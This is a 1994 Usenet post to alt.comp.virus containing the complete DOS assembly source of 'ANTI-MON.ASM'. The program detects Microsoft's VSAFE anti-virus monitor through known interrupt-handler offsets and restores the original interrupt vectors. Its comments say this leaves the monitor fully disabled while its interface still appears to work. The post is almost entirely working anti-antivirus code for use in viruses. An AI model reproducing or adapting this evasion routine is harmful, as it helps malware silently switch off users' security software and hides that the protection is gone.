From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994 Xref: netcom.com alt.comp.virus:507 Path: netcom.com!ix.netcom.com!netnews From: Zeppelin@ix.netcom.com (Mr. G) Newsgroups: alt.comp.virus Subject: Anti Monitor Virus (ANTI AV TSR) Date: 29 Nov 1994 13:05:19 GMT Organization: Netcom Lines: 256 Distribution: world Message-ID: <3bf8uf$ib9@ixnews1.ix.netcom.com> References: NNTP-Posting-Host: ix-pas2-10.ix.netcom.com ;*********************************************************************** *********************** ;* * ;* FILE: ANTI-MON.ASM (c) 1993 * ;* PURPOSE: Detect and remove a TSR anti-viral monitor * ;* AUTHOR: Willoughby DATE: 05/09/93 * ;* * ;*********************************************************************** *********************** MAIN SEGMENT BYTE ASSUME CS:MAIN,DS:MAIN,ES:MAIN ORG 100H ;*********************************************************************** *********************** ;The purpose of this routine is simply to demonstrate the function of the FIND_AV_MON and ;NEUT_AV_MON routines. It displays a message based upon the results of the test for TSR anti- ;viral monitor interrupt vectors performed by the FIND_AV_MON routine and the action taken, if ;needed, by the NEUT_AV_MON routine. START: call FIND_AV_MON ;check for installed anti-viral monitors jc MP1 ;if carry is set, a monitor is present mov dx,OFFSET NOT_HERE_MSG ;if not, display appropriate message jmp MPEX ;during exit MP1: cmp WORD PTR [MONITOR_TYPE],0 ;check for type/version of monitor present mov dx,OFFSET MON0_HERE_MSG je MP2 ;if MONITOR_TYPE = 0, display v1.0 message mov dx,OFFSET MON1_HERE_MSG ;otherwise, display v6.0 message MP2: mov ah,9 int 21H call NEUT_AV_MON ;then restore vectors to original values mov dx,OFFSET BUT_NOW_MSG ;display monitor removal message MPEX: mov ah,9 int 21H mov ax,4C00H ;exit program int 21H NOT_HERE_MSG: DB 0DH,0AH,'VSAFE is not present.',0DH,0AH,24H MON0_HERE_MSG: DB 0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H MON1_HERE_MSG: DB 0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H BUT_NOW_MSG: DB 0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H ;*********************************************************************** *********************** ;This routine tests for the presence in memory of two versions of VSAFE by comparing the ;offsets of the interrupt vectors stolen during VSAFE's installation with known VSAFE interrupt ;handler offsets. When it finds any three offset values in the system interrupt vector table ;which match the VSAFE offsets for the corresponding interrupt, the carry flag is set to ;indicate the presence of VSAFE in memory to the calling routine. The segment in which VSAFE ;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in MONITOR_TYPE for use by ;the NEUT_AV_MON routine. NUM_MONITORS EQU 2 ;# of anti-viral monitor types to check for NUM_VECTORS EQU 8 ;# of interrupt vector table entries to check MATCHES_REQ EQU 3 ;# of offset matches required for positive ID FIND_AV_MON: push es xor ax,ax mov es,ax ;set ES to segment of interrupt vector table mov cx,NUM_VECTORS ;set loop counter to # of vectors to check mov si,OFFSET VECTOR_OFFSETS ;point SI to start of vector offset string FAMLP1: lodsw ;load vector table offset of first vector mov bx,ax mov dx,w[es:bx] ;load offset of vector from table xor di,di FAMLP2: lodsw ;load offset value used by anti-viral monitor cmp dx,0FFFFH ;test for skip vector check value je FAMLP3 ;if skip value (FFFFH), exit inner loop cmp dx,ax ;does vector table value match monitor value? jne FAMLP3 ;if not, jump to end of loop inc BYTE PTR [OFFSET TOTAL_MATCHES+di] ;if so, increment match counter cmp BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ ;required # of matches found? jne FAMLP3 ;if not, jump to end of loop add bx,2 ;set BX to point at vector segment value mov ax,WORD PTR [es:bx] ;load anti-viral seg. value from vector table mov MONITOR_SEGMENT,ax ;store segment value mov MONITOR_TYPE,di ;store monitor number indicating version/type stc ;set carry flag to indicate monitor was found jmp FAMEX FAMLP3: inc di ;increment monitor number cmp di,NUM_MONITORS ;all monitor values checked for this vector? jne FAMLP2 ;if not, do it all again loop FAMLP1 ;if all vectors not checked, loop to check next clc ;clear carry flag to indicate no monitor found FAMEX: pop es ret MONITOR_SEGMENT DW ? ;storage location for monitor segment value MONITOR_TYPE DW ? ;ditto for monitor type TOTAL_MATCHES: DB NUM_MONITORS DUP ? ;table for vector match counts VECTOR_OFFSETS: DW 004CH,1039H,0352H ;INT 13H, VSAFE1 offset, VSAFE6 offset DW 0058H,12CDH,05DDH ;INT 16H DW 0080H,138CH,06BCH ;INT 20H DW 0084H,15F7H,0940H ;INT 21H DW 009CH,1887H,0C0CH ;INT 27H DW 00BCH,2476H,1440H ;INT 2FH DW 0100H,1254H,05CBH ;INT 40H DW 0024H,0FFFFH,02AFH ;INT 09H (FFFFH = skip vector offset check) ;*********************************************************************** *********************** ;This routine restores all but the keyboard interrupt vectors to their original values prior ;to the residency of VSAFE. This is accomplished by moving the original, unencrypted (!?) ;vector values stored within VSAFE to their respective locations in the system interrupt vector ;table. VSAFE is, thereby, completely disabled, but appears to be fully functional because its ;user interface continues to respond correctly to user inputs. This routine uses the monitor ;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) values returned by the ;FIND_AV_MON routine. TABLE_SEGMENT EQU 0 ;interrupt vector table segment NUM_RESTORE EQU 6 ;number of vectors to restore NEUT_AV_MON: push es mov ax,OFFSET MON2_OFFSETS sub ax,OFFSET MON1_OFFSETS mul WORD PTR [MONITOR_TYPE] ;calc. string offset for monitor type/version mov si,OFFSET MON1_OFFSETS add si,ax ;point to first value in desired monitor string mov di,OFFSET TABLE_OFFSETS ;ditto for table offset string mov cx,NUM_RESTORE ;set counter to number of vectors to restore RESTORE_VECTS: mov bx,WORD PTR [si] ;load monitor offset of original vector value cmp bx,0FFFFH ;test for skip restoral value je SKIP ;if skip value (FFFFH), then jump to loop mov es,MONITOR_SEGMENT ;set ES to monitor segment mov ax,WORD PTR [es:bx] ;load original vector offset from monitor mov ORIGINAL_OFF,ax ;store in scratch pad mov ax,WORD PTR [es:bx+2] ;load original vector segment from monitor mov ORIGINAL_SEG,ax ;store in scratch pad mov bx,WORD PTR [di] ;load corresponding int. vector table offset mov es,TABLE_SEGMENT ;set ES to int. vector table segment mov ax,ORIGINAL_OFF ;load original vector offset mov WORD PTR [es:bx],ax ;store original offset in vector table mov ax,ORIGINAL_SEG ;load original vector segment mov WORD PTR [es:bx+2],ax ;store original segment in vector table SKIP: add si,2 ;point SI to next string value add di,2 ;ditto for DI loop RESTORE_VECTS ;loop to restore next vector pop es ret ;all done, monitor is totally neutralized ORIGINAL_OFF DW ? ;temp. storage for original int. vector offset ORIGINAL_SEG DW ? ;ditto for segment TABLE_OFFSETS: DW 004CH,0080H,0084H,009CH,00BCH,0100H ;offsets to INT vector table MON1_OFFSETS: ;VSAFE v1.0 offsets where DW 1967H,196FH,1977H,197BH,242AH,197FH ;original vectors are stored ;(FFFFH = skip vector restoral) MON2_OFFSETS: ;MS-DOS 6.0 VSAFE offsets where DW 0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH ;original vectors are stored ;(FFFFH = skip vector restoral) MAIN ENDS